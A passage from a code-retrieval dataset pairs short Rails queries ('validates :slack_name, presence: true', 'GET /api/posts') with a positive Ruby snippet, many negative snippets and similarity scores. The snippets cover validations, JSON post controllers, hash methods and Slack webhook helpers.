"def process_attachment\n return true unless d = parsed_attachment_data\n\n case self.attachment_type\n when 'link', 'generic'\n # Parse generic attachment attributes into string for the message attribute\n if self.message.blank?\n mesg = ''\n mesg << \"#{d['name']}\\n\" unless d['name'].blank?\n mesg << \"#{d['caption']}\\n\" unless d['caption'].blank?\n mesg << \"#{d['description']}\\n\" unless d['description'].blank?\n self.update_attribute(:message, mesg) unless mesg.blank?\n end\n when 'photo'\n # Add photo to be downloaded if it is a photo from a facebook album.\n # requires the backup_source object, which means this object must be created AND\n # associated with its activity_stream (from which we derive the member attribute, \n # then the facebook backup source object, phew!)\n if facebook_photo? && !backup_photo && member\n # add to album (create one if necessary)\n # need to retrieve our facebook backup source object for album creation\n begin\n # If photo doesn't belong to this user, use a catch-all photo album \n # to store them\n bs = member.backup_sources.facebook.first\n album = if d['photo']['owner'] != member.facebook_id.to_s\n # This sucks...why doesn't find_or_create work with extra attributes?\n BackupPhotoAlbum.find_or_create_facebook_friends_album(bs.id)\n else\n BackupPhotoAlbum.find_or_create_by_backup_source_id_and_source_album_id(bs.id, d['photo']['aid'])\n end\n\n # If Facebook is trying to be sneaky and only passing the small thumbnail image, \n # we replace _s with _n to get the larger image instead. This will definitely \n # bite us in the ass when FB changes formats.\n d['src'].gsub!(/_s\\.jpg$/, '_n.jpg')\n \n BackupPhoto.create(:backup_photo_album => album,\n :source_photo_id => d['photo']['pid'],\n :source_url => d['src'],\n :caption => self.message)\n rescue\n logger.error \"FacebookActivityStreamItem::process_attachment exception: \" + $!\n raise\n end\n end\n end\n true\n end",
"def digest\n Digest::MD5.digest(blob)\n end",
"def makehash(body)\n signer = SSH::Key::Signer.new\n if @config.pluginconf[\"sshkey\"]\n signer.add_key_file(@config.pluginconf[\"sshkey\"])\n signer.use_agent = false\n end\n signatures = signer.sign(body).collect { |s| s.signature }\n return Marshal.dump(signatures)\n end",
"def to_hash(user=nil, client=nil)\n hash = {\n :id => guid,\n :name => name,\n :description => description,\n :owner_id => owner.guid,\n :owner_name => owner.name_or_username,\n :created_at => created_at,\n :updated_at => updated_at,\n :channel_type => channel_type,\n :hidden => hidden,\n :message_count => self.messages.size\n }\n\n if messages.size > 0\n poster = self.messages.first.poster\n if poster\n hash.merge!({ :updated_by => { :link => poster.to_link, :name => poster.display_name }})\n end\n else\n hash.merge!({ :updated_by => { :link => owner.to_link, :name => owner.display_name }})\n end\n\n hash\n end",
"def hash\n [author, created, icon, id, integration_id, is_favorite, is_read_only, is_shared, modified, popularity, tags, title, type, url].hash\n end",
"def as_hash\n @hash\n end",
"def log_hash_safe(hash)\n hash_obj = {}\n hash.each do |key, val|\n if val.is_a?(Hayabusa::Http_session::Post_multipart::File_upload)\n hash_obj[key] = \"<Fileupload>\"\n elsif val.is_a?(Hash)\n hash_obj[key] = self.log_hash_safe(val)\n else\n hash_obj[key] = val\n end\n end\n\n return hash_obj\n end",
"def hash\n [id, to, from, carrier, thumbnails, size, expected_delivery_date, date_created, date_modified, deleted, front_template_id, back_template_id, front_template_version_id, back_template_version_id, tracking_events, object, url, description, metadata, mail_type, merge_variables, send_date, use_type].hash\n end",
"def to_hash\n {\n repository: repository,\n resource_hash: resource_hash, # location of cookbook manifest in S3\n metadata: ::JSON.dump(metadata), # pass as opaque JSON blob\n pos: pos\n }\n end",
"def attachment_path\n return unless attachment.attached?\n\n attachment.service_url\n end"
] |
[
"0.631076",
"0.62681615",
"0.6198012",
"0.6190606",
"0.61087745",
"0.6028359",
"0.60173094",
"0.6002963",
"0.600036",
"0.59778297",
"0.59339744",
"0.59317255",
"0.5915541",
"0.58895826",
"0.58482975",
"0.5819376",
"0.5765067",
"0.57546055",
"0.57471746",
"0.57368433",
"0.57235503",
"0.5663961",
"0.5651188",
"0.56256783",
"0.56125623",
"0.5612047",
"0.56118834",
"0.5602929",
"0.55869395",
"0.55853635",
"0.5584941",
"0.5584941",
"0.55695444",
"0.5560615",
"0.55474067",
"0.55040735",
"0.5499549",
"0.5487429",
"0.5476733",
"0.54705656",
"0.5437314",
"0.5424815",
"0.54235613",
"0.5418245",
"0.54181063",
"0.5404735",
"0.54015195",
"0.5397715",
"0.5396659",
"0.5389375",
"0.53838986",
"0.5376057",
"0.5372611",
"0.53650045",
"0.5360387",
"0.53547746",
"0.5350805",
"0.5335168",
"0.5325679",
"0.5321286",
"0.5313278",
"0.52889365",
"0.52861184",
"0.528547",
"0.528547",
"0.5281587",
"0.5273877",
"0.52723163",
"0.52625555",
"0.526243",
"0.526011",
"0.5259404",
"0.5258718",
"0.52504295",
"0.5249743",
"0.52445513",
"0.52430946",
"0.52400357",
"0.52400357",
"0.52382076",
"0.52315944",
"0.5229483",
"0.5224897",
"0.5223638",
"0.5221545",
"0.5221545",
"0.5221545",
"0.52171266",
"0.5215401",
"0.5211733",
"0.5205016",
"0.5190625",
"0.5190358",
"0.5190351",
"0.5190273",
"0.51857585",
"0.5182621",
"0.516754",
"0.51639724",
"0.51558286",
"0.5153779"
] |
0.0
|
-1
|
validates :slack_name, presence: true
|
def send_iizo_to(target, **args)
send_iizos.create(args.merge(to_user: target))
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def validate_name\n if third_party && name.blank?\n errors.add(\n :name,\n :blank,\n )\n end\n end",
"def valid_name!\n return unless @name.blank?\n\n @success = false\n @error = 'Error: site name must be present'\n end",
"def validate_name?\n # if you create user from admin interface(or as a team member), then \"name\" param is provided, it is present or blank - not nil\n !name.nil?\n end",
"def slack_name\n \"<@#{self.slack_id}>\"\n end",
"def badge_name_is_valid\n if badge_name.present?\n unless self.badge.kind_of?(Badge)\n badge_names = self.authoritative_company.company_badges.map(&:short_name).to_sentence(two_words_connector: ' or ', last_word_connector: ' or ')\n errors.add(:badge, I18n.t('activerecord.errors.models.recognition.attributes.badge_id.invalid_name', badge_names: badge_names))\n end\n end\n end",
"def name_is_valid\n errors.add(:name,'Invalid empty string for name.') unless name_is_valid?\n end",
"def name_present\n if name.blank?\n errors.add(:name, \"Can't be empty\")\n end\n end",
"def name_not_blank\n if self.name.blank?\n self.errors.add(:name, I18n.t('stage.errors.blank_name'))\n end\n end",
"def name_is_valid\n errors.add(:name,\"Invalid string for name.\") unless name_is_valid?\n end",
"def validate_name(arg = nil)\n set_or_return(:name, arg, :kind_of => String, :callbacks => {\n \"user must be string of word characters and Engine ID should be either empty string or 5 to 32 octets separated by colons\" => lambda {\n |name| !@@title_pattern.match(name).nil?\n }\n })\n end",
"def validate_name\n\t\t\tunless Nacreon::NameRX.match(name)\n\t\t\t\terrors.add(:name,\n\t\t\t\t\t'must contain only letters, numbers, and \"-\".')\n\t\t\tend\n\t\tend",
"def validate_name(arg=nil)\n set_or_return(:name, arg, kind_of: String, callbacks: {\n 'user must be string of word characters and ' \\\n 'Engine ID should be either empty string or ' \\\n '5 to 32 octets separated by colons' => lambda do |name|\n !@@title_pattern.match(name).nil?\n end,\n })\n end",
"def validate_display_name\nif ! validate_a_display_name( self.display_name )\nerrors.add( :display_name , \"Invalid display name (see RFC 3261).\" )\nend\nend",
"def check_create_user_name_is_valid\n return self.name != \"\" ? true : false\n end",
"def validate\n validates_presence([:title, :body])\n end",
"def validate\n validates_presence([:name, :phone])\n end",
"def create\n @slack_channel = SlackChannel.new(slack_channel_params)\n\n respond_to do |format|\n if @slack_channel.save\n format.html { redirect_to @slack_channel, notice: 'Slack channel was successfully created.' }\n format.json { render :show, status: :created, location: @slack_channel }\n else\n format.html { render :new }\n format.json { render json: @slack_channel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def validate_name_and_url\n # check name and url_safe_name first and set validation error\n if self.name.blank? || self.name.nil?\n errors.add(:name, \" cannot be blank - please provide a name for your study.\")\n end\n if Study.where(name: self.name).any?\n errors.add(:name, \": #{self.name} has already been taken. Please choose another name.\")\n end\n if Study.where(url_safe_name: self.url_safe_name).any?\n errors.add(:url_safe_name, \": The name you provided (#{self.name}) tried to create a public URL (#{self.url_safe_name}) that is already assigned. Please rename your study to a different value.\")\n end\n end",
"def validate\n errors.add(:username, \"already exists.\") if Player.get_player(username) != nil\n end",
"def name_valid_format\n if name.present? and not name.match(/[\\w]+([\\s]+[\\w]+){1}+/)\n errors.add :name , \"must be seperated by space and should not contain any special characters.\"\n end\n end",
"def validate_name(value)\n return false if(value.to_s.length >= MAX_NAME_LENGTH)\n return true\n end",
"def empty_name_error(type, what)\n validation_error(type, what, 'name is empty')\n end",
"def validate_title\n errors.add(:title, :must_be_null_in_this_slide) if !self.allows_title? && !self.title.nil?\n end",
"def name_is_valid?\n return false unless not_nil_and_string(self.name)\n return self.name.length > 0\n end",
"def name_is_valid?\n return false unless not_nil_and_string(self.name)\n return self.name.length > 0\n end",
"def validate_name(value)\n return false if(value.to_s.length >= MAX_NAME_LENGTH)\n return true\n end",
"def slack_channel_params\n params.require(:slack_channel).permit(:slack_channel_id, :name, :is_general, :is_archived, :is_channel, :created_date, :slack_code, :last_read, :unread_count, :slack_team_id)\n end",
"def validateName(name)\n if (name == nil)\n return false\n end\n \n return true # TODO This is wrong. Finish this function.\nend",
"def valid_name (name)\r\n /^\\w+$/.match (name)\r\n end",
"def slack\n @slack ||= Slack::Notifier.new Shepherd::Application.config.slack_api[:url], channel: Shepherd::Application.config.slack_api[:channel]\n end",
"def politician_name_checker_create(string)\n if string.length < 1\n puts \"Please enter a valid name.\"\n World.create_politician\n end\n end",
"def mailername_params\n params.require(:mailername).permit(:mailer_name)\n end",
"def your_name_is_not_dumb\n if name.include?(\"dumb\")\n errors.add(:name, \"is dumb\")\n end\n end",
"def validate\n if @name.empty?\n @message = \"Please input a username.\"\n elsif @password.empty?\n @message = \"Please input a password.\"\n elsif @names.include?(@name) == false\n @message = \"That username does not exist. Please make sure to check your spelling.\"\n elsif @names.include?(@password) == false\n @message = \"Wrong password. Please check your spelling and try again.\"\n elsif @names.include?(@name) && @names.include?(@password)\n @message = \"Welcome {@name}\"\n end\n end",
"def validate\n unless params[:name] =~ /\\w+/\n @errors << 'A valid name is required'\n end\n unless params[:email] =~ /\\w+@\\w+\\.\\w+/\n @errors << 'A valid email address is required'\n end\n unless params[:message] =~ /\\w+/\n @errors << 'A message is required'\n end\n #unless simple_captcha_valid?\n # @errors << 'Captcha did not match'\n #end\n @errors.empty?\n end",
"def validate_presence(attribute_name, message = nil)\n value = send(attribute_name)\n if !value || value.to_s.empty?\n append_error(attribute_name, message || :cant_be_empty)\n end\n end",
"def validate_title\n if self.title.length < 3\n errors.add :base, :invalid, message: \"The title is invalid\"\n end\n end",
"def test_invalid_without_name\n assert_errors_contain @team, :name, 'blank'\n end",
"def new_conversation_params\n params.require(:conversation).permit(:title)\n end",
"def slack_integration_params\n params.require(:slack_integration).permit(:channel, :webhook_url)\n end",
"def name_valid(name)\n if !name.empty?\n self.name = name\n return true\n end\n end",
"def name_invalid\n errors.add(:name, :unknown)\n end",
"def test_presence_of_name\n client = Client.new(:tat => 13, :partener_bank_group_code => 'HJ',\n :internal_tat => 89, :group_code => 'JO',:max_jobs_per_user_payer_wise => 5,\n :max_jobs_per_user_client_wise => 5, :max_eobs_per_job => 5)\n assert_equal(false, client.save, \"Name can't be blank!\")\n end",
"def after_save\n validate_uniqueness_as_run(:name)\n end",
"def validate_build\n end",
"def slack_enabled?\n return settings.slack_enabled && settings.slack_key\nend",
"def bot_name=(value)\n @bot_name = value\n end",
"def bot_name=(value)\n @bot_name = value\n end",
"def require_name?\n !draft?\n end",
"def validate_username\n if User.where(email: username).exist?\n errors.add(:username, :invalid)\n end\n end",
"def check_name_length\n unless self.name.length >= 4\n errors[:name] << \"Name is too short, must be 4+ characters\"\n end\n end",
"def input_valid_username\n fill_in(USERNAME_INPUT_ID, :with => 'Believe')\n end",
"def check_username_format\n errors.add(:username, \"is not a valid username\") unless username =~ Handle.validation_regex\n end",
"def ensure_unique_board_title\n unless self.has_unique_title\n errors.add_to_base(\"please choose another title\")\n end\n end",
"def _validate_name(name)\n if name =~ %r{/}\n results.add_error('name', 'The name of a spec should not contain ' \\\n 'a slash.')\n end\n\n if name =~ /\\s/\n results.add_error('name', 'The name of a spec should not contain ' \\\n 'whitespace.')\n end\n\n if name[0, 1] == '.'\n results.add_error('name', 'The name of a spec should not begin' \\\n ' with a period.')\n end\n end",
"def validate_title\n if self.title.length < 3\n # throw error, a custom error would be nice\n errors.add :base, :invalid, message: \"The title is invalid, need at least 3 valid characters.\"\n end\n end",
"def validate_username\n if User.where(email: username).exists?\n errors.add(:username, :invalid)\n end\n end",
"def validate_username\n if User.where(email: username).exists?\n errors.add(:username, :invalid)\n end\n end",
"def name_valid(name)\n if !name.empty?\n self.name = name\n return true\n else\n return false\n end\n end",
"def validate_name\n unless name.length > 0\n add_error :name, 'name of the price item shall be provided'\n end\n\n unless price.to_i > 0\n add_error :price, 'price should be a number'\n end\n end",
"def notification_channel_params\n params.require(:notification_channel).permit(:name)\n end",
"def slack\n self.matched_line(\"SLACK\")&.strip\n end",
"def valid?\n !name.nil?\n end",
"def valid?\n !name.nil?\n end",
"def valid?\n !name.nil?\n end",
"def test_should_require_name\n intitution = create(:name => nil)\n assert intitution.errors.invalid?(:name), \":name should be required\"\n assert_invalid intitution, \"intitution shouldn't be created\"\n end",
"def slack\n notifier = Slack::Notifier.new ENV[\"WEB_HOOK\"], channel: '#general', username: 'notifier'\n if self.title != nil\n notifier.ping \"#{self.title} - #{self.full_desc} ($#{self.price})\"\n end\n end",
"def validate!\n # pass\n end",
"def cannot_share_exisiting_team_name\n team_names = Team.all.map do |team|\n team.team_name.downcase\n end\n\n current_team_name = team_name.downcase\n \n errors.add(:team_name) if team_names.include?(current_team_name)\n \n p errors.full_messages\n end",
"def test_should_require_name\n ng = NodeGroup.create(:name => nil)\n assert ng.errors.on(:name)\n end",
"def conversation_params\n params.require(:conversation).permit(:title)\n end",
"def error_for_list_name(name)\n if session[:lists].any? { |list| list[:name] == name }\n \"The list names must be unique\"\n elsif !(1..100).cover? name.size\n \"The list name must be between 1 and 100 characters\"\n end\nend",
"def validate_name\n errors.add(:abstract, \"person_name or company_name must be present\") unless (person_name || company_name)\n end",
"def name_can_not_be_greg\n if self && self.name.downcase == \"greg\"\n self.errors.add(:name, \"Can not be Greg\")\n end \n end",
"def validate_property_name(name)\n valid_name = name.gsub(/-/, \"_\").camelcase(:lower)\n if KeyWords.include? valid_name\n valid_name = KeywordsSubstitute[valid_name]\n end\n valid_name\n end",
"def bottling_params\n params.require(:bottling).permit(:name)\n end",
"def league_params\n params.require(:league).permit(:name)\n end",
"def err_for_list_name(name)\n # if session[:lists].any? { |list| list[:name] == name }\n if @storage.all_lists.any? { |list| list[:name] == name }\n 'The list name must be unique'\n elsif !(1..50).cover?(name.size)\n 'The list name must have between 1 and 50 characters'\n # else\n # nil # don't explicitly need this, but it's good to show intent\n end\nend",
"def workflow_exists\n errors.add(:workflow, 'is not valid') unless valid_workflow?\n end",
"def validate_text\n errors.add(:text, :must_be_null_in_this_slide) if !self.allows_text? && !self.text.nil?\n end",
"def validate_domain(name)\n jid = Blather::JID.new(name)\n raise \"incorrect domain: #{name}\" if jid.node || jid.resource\n end",
"def validate()\n errors.add(:nombre, \"debe ser positivo\") if nombre.nil?\n end",
"def validate_flow_presence!(parameters)\n unless @renderer.flow_exists?(parameters[:flow_name])\n raise Colloquy::FlowNotFound, \"Flow not found: #{parameters[:flow_name]}\"\n end\n end",
"def create\n # This is to make amon ignore its own sayings\n return if params[:user_id].eql?(\"USLACKBOT\")\n\n # Try to create a new item\n item = Item.create_from_webhook params\n if item.nil?\n message = I18n.t(:no_such_team, :url=>\"#{request.env['HTTP_HOST']}/auth/slack\")\n else\n message = I18n.t('item_create_response').sample\n end\n render_slack message\n end",
"def work_step_params\n params.require(:work_step).permit(:name)\n end",
"def last_name_is_valid\n errors.add(:last_name,'Invalid empty string for last name.') unless last_name_is_valid?\n end",
"def valid?\n return false if !@name.nil? && @name.to_s.length > 250\n true\n end",
"def not_spam\n errors.add(:base, \"invalid reply\") if check_field.present?\n end",
"def test_validate\n naming = Naming.new\n assert_not(naming.save)\n assert_equal(3, naming.errors.count)\n assert_equal(:validate_naming_name_missing.t, naming.errors[:name].first)\n assert_equal(:validate_naming_observation_missing.t,\n naming.errors[:observation].first)\n assert_equal(:validate_naming_user_missing.t, naming.errors[:user].first)\n end",
"def not_valid_message; nil; end",
"def not_valid_message; nil; end",
"def team_params\n params.permit(:name)\n end",
"def message_on_slack\n\n if !HackumassWeb::Application::SLACK_ENABLED\n flash[:alert] = \"Slack integration disabled. Please enable Slack integration to use this feature.\"\n return\n end\n\n request = MentorshipRequest.find(params[:mentorship_request])\n usr = User.find(request.user_id)\n slack_id = usr.get_slack_id\n if slack_id\n request.status = \"Contacted\"\n request.save\n if HackumassWeb::Application::SLACK_MESSAGE_URL_PREFIX\n redirect_to HackumassWeb::Application::SLACK_MESSAGE_URL_PREFIX + \"/\" + slack_id\n else\n redirect_to usr.get_slack_message_link\n end\n else\n redirect_to request, alert: 'This user is not signed up on slack.'\n end\n end",
"def replacement_word_not_nil\n if self.replacement_word.nil?\n self.errors.add(:replacement_word, \"can't be blank\")\n end\n end",
"def verify_slack_request\n timestamp = request.headers['X-Slack-Request-Timestamp']\n if (Time.now.to_i - timestamp.to_i).abs > 60 * 5\n head :unauthorized\n return\n end\n\n sig_basestring = \"v0:#{timestamp}:#{request.raw_post}\"\n signature = \"v0=\" + OpenSSL::HMAC.hexdigest(\"SHA256\", ENV['SLACK_SIGNING_SECRET'], sig_basestring)\n slack_signature = request.headers['X-Slack-Signature']\n\n if !ActiveSupport::SecurityUtils.secure_compare(signature, slack_signature)\n head :unauthorized\n end\n end",
"def validate_username_reserved\n return unless username_reserved?\n\n errors.add(:username, :exclusion)\n end",
"def check_presence!(obj, name)\n if obj.nil? || (obj.is_a?(String) && obj.empty?)\n fail ArgumentError, \"#{name} must be given\"\n end\n end",
"def test_should_require_name_group\n group = create(:name => nil)\n assert group.errors.invalid?(:name), \":name should be required\"\n assert_invalid group, \"group shouldn't be created\"\n end",
"def input_word(f, name, unique = false, required = true)\n data_parsley_hash = { 'data-parsley-trigger': 'keyup',\n 'data-parsley-minlength': 3,\n 'data-parsley-maxlength': 128,\n 'data-parsley-validation-threshold': 0 }\n f.input name, required: required, input_html: validation_modifiers(data_parsley_hash, name, unique)\n end",
"def validation_name\n @company = Company.accessible_by(current_ability).where(:name => params[:name]).first\n\n if @company\n render json: false\n else\n render json: true\n end\n end",
"def test_name_min_length\n appellation = @valid_appellation_1\n min_len = Appellation::NAME_MIN_LENGTH\n \n #name too short\n appellation.name = \"a\" * (min_len-1)\n assert !appellation.valid?, \"#{appellation.name} should raise a minimum length error\"\n #format the error message\n correct_error_message = sprintf(@error_messages[:too_short], min_len)\n appellation.errors.on(:name).each do |errormsg|\n if errormsg != @cantbeblankmsg\n assert_equal correct_error_message, errormsg\n else\n assert_equal @cantbeblankmsg, errormsg\n end\n end\n \n #name is exactly minimum length\n appellation.name = \"a\" * min_len\n assert appellation.valid?, \"#{appellation.name} should be just long enough to pass\"\n end"
] |
[
"0.6440327",
"0.6289542",
"0.62171054",
"0.6183409",
"0.61696327",
"0.61258906",
"0.6123618",
"0.60573703",
"0.59965754",
"0.59483266",
"0.5894323",
"0.58750015",
"0.5870618",
"0.5869467",
"0.5803889",
"0.5799437",
"0.5751212",
"0.57394797",
"0.57197756",
"0.56794673",
"0.5657589",
"0.5631157",
"0.561803",
"0.5600522",
"0.5600522",
"0.5555805",
"0.55452204",
"0.5515413",
"0.5515008",
"0.5507904",
"0.55067956",
"0.5504996",
"0.5498189",
"0.5470667",
"0.5457511",
"0.5453271",
"0.54422075",
"0.54410946",
"0.54377633",
"0.54346377",
"0.5431438",
"0.5423216",
"0.5418013",
"0.53898674",
"0.5387954",
"0.5380282",
"0.53762007",
"0.53762007",
"0.53752667",
"0.53564954",
"0.5355472",
"0.5351875",
"0.5346808",
"0.53324306",
"0.53300375",
"0.5329802",
"0.5315706",
"0.5315706",
"0.5305226",
"0.53050417",
"0.5298129",
"0.52977693",
"0.5297333",
"0.5297333",
"0.5297333",
"0.52969086",
"0.5296164",
"0.52954835",
"0.5287452",
"0.5238839",
"0.52359045",
"0.52112484",
"0.5209837",
"0.520426",
"0.5196717",
"0.5195673",
"0.518196",
"0.5172738",
"0.51703",
"0.5169694",
"0.51677656",
"0.51638114",
"0.5160274",
"0.5158848",
"0.51498836",
"0.51487863",
"0.5146532",
"0.5144656",
"0.51428014",
"0.514274",
"0.514274",
"0.5139069",
"0.51384753",
"0.513144",
"0.5129801",
"0.51273954",
"0.51251185",
"0.5124578",
"0.51165074",
"0.5114293",
"0.5112436"
] |
0.0
|
-1
|
GET /api/posts GET /api/posts.json
|
def index
@posts = Post.all
render json: @posts
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @posts = Post.find(params[:id])\n render json: @posts\n end",
"def index\n\n @posts = Post.all\n\n render json: @posts, status: 200\n end",
"def index\n @posts = Post.all\n render json: @posts\n end",
"def index\n @posts = Post.all\n render json: @posts\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def posts(opts)\n response = get(\"posts\", opts)\n response\n end",
"def index\n @posts = Post.all.order(created_at: :asc)\n json_response(@posts)\n end",
"def index\n @posts = Post.all\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts }\n end\n end",
"def index\n @posts = Post.all\n @posts = paginate(@posts)\n authorize @posts\n\n render json: @posts, each_serializer: Api::V1::PostSerializer, meta: meta_attributes(@posts)\n end",
"def index\n render json: { posts: Post.all }\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {render json: @posts}\n end\n end",
"def index\n @posts = Post.order(\"created_at DESC\").includes(:user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @api_v1_posts = Api::V1::Post.all\n end",
"def index\n @posts = Post.all\n \n render json: @posts\n end",
"def display_posts\n begin\n response = RestClient.get \"#{@@DOMAIN}/api/posts.json?all\", authorization_hash\n\n puts \"Response code: #{response.code}\"\n puts \"Response cookies:\\n #{response.cookies}\\n\\n\"\n puts \"Response headers:\\n #{response.headers}\\n\\n\"\n puts \"Response content:\\n #{response.to_str}\"\n\n js = JSON response.body\n js.each do |item_hash|\n item_hash.each do |k, v|\n puts \"#{k}: #{v}\"\n end\n end\n rescue => e\n puts STDERR, \"Error accessing REST service. Error: #{e}\"\n end\n end",
"def show\n render json: @post, serializer: Api::V1::PostSerializer\n end",
"def index\n render json: Post.all\n end",
"def index\n @posts = Post.paginate(:page => params[:page], :per_page => 10).order('id DESC')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Mist::Post.recently_published(20, Mist.authorized?(:view_drafts, self))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n render json: @post\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render jsonapi: @post }\n end\n end",
"def index\n @posts = PostService.getAllPosts\n end",
"def show\r\n post = Post.find(params[:id])\r\n render json: post\r\n end",
"def show\n post = Post.find(params[:id])\n render json: post\n end",
"def index\n # @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n # format.json { render json: @posts }\n end\n end",
"def index\n render json: { posts: current_user.posts.all.map(&:to_h) }\n end",
"def show\n \trender json: Post.find(params[:id])\n end",
"def index\n render json: Post.all.order(id: :desc), each_serializer: V1::Posts::PostSerializer\n end",
"def show\n render json: Post.find(params[\"id\"])\n end",
"def show\n @posts = @game.posts.order(created_at: :desc).paginate(page: params[:page], per_page: 5)\n respond_to do |format|\n format.json { render template: 'api/games/game.json' }\n end\n end",
"def index\n\t\tgon.posts = Post.all.as_json\n\tend",
"def show\n\t \trender json: Post.find(params[:id])\n\t end",
"def show\n @user = User.find(params[:id])\n @posts = @user.posts\n\n respond_to do |format|\n format.json { render json: {user: User._build(@user), posts: Post.build_posts(@posts)}, location: root_path }\n end\n end",
"def index\n\t@posts = list_posts\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.atom\n end\n end",
"def index\n unless can?(:manage, Post)\n @posts = @posts.published\n end\n \n respond_with @posts\n end",
"def show\n @user = User.find(params[:user_id])\n @post = @user.posts.find(params[:id])\n\n render json: @post\n end",
"def index\n # TODO: implement listing all posts\n end",
"def index\n\n # We display the posts be cronological inverted order\n if authenticated?\n @posts = Post.order('created_at DESC').page(params[:page])\n else\n @posts = Post.order('created_at DESC').where(:status => :true).page(params[:page])\n end\n \n respond_to do |format|\n format.html { render html: @posts }\n format.json { render json: @posts }\n end\n end",
"def show\n render json: @post\n end",
"def show\n render json: @post\n end",
"def show\n \n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def index\n @posts = Post.all\n respond_with(@posts)\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.xml { render xml: @posts }\n end\n end",
"def show\n @api_v2_post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @api_v2_post }\n end\n end",
"def index\n respond_with Post.all\n end",
"def index\n @posts = Post.order(created_at: :desc)\n respond_to do |format|\n format.html { render }\n format.text { render }\n format.xml { render xml: @posts }\n format.json { render json: @posts.to_json }\n end\n end",
"def index\n @posts = Post.all\n # Post.all returns all of the posts currently in the \n # database as an array of Post records that we store \n # in an instance variable called @posts.\n # http://guides.rubyonrails.org/active_record_querying.html\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n # The respond_to block handles both HTML and JSON calls \n # to this action. If you browse to \n # http://localhost:3000/posts.json, you’ll see a JSON \n # containing all of the posts. \n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def index\n #@posts = Post.all\n @posts = Post.paginate( :page => params[:page],\n :per_page => 2\n )\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def posts\n posts = @client.entries(content_type: 'post').items\n posts || []\n end",
"def show\n render json: @api_post\n end",
"def show\n render json: @api_post\n end",
"def show\n render :json => @post\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def show\n @post = Post.where(:id => params[:id]).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def index\n @posts = Post.all.order_by([:date_published, :desc]).page(params[:page]).per(20)\n #authorize! if cannot? :read, @posts\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def show\n post = Post.find_by(id: params[:id])\n if post \n render json: post\n else\n render json: {errors: 'Not found'}\n end\n end",
"def index\n @posts = Post.find(:all)\n end",
"def get(options = EMPTY_HASH)\n parameters = Specification.new(\n tag: Types::Tags,\n dt: Types::Time,\n url: Types::URL,\n meta: Types::Boolean\n ).parameters(options)\n posts_from client.get(\"/posts/get\", parameters)\n end",
"def show\n @post = Post.find(params[:id])\n \n respond_to do |format|\n format.html { render 'application/index' }\n format.json { render :json => { :post => @post.as_json } }\n end\n end",
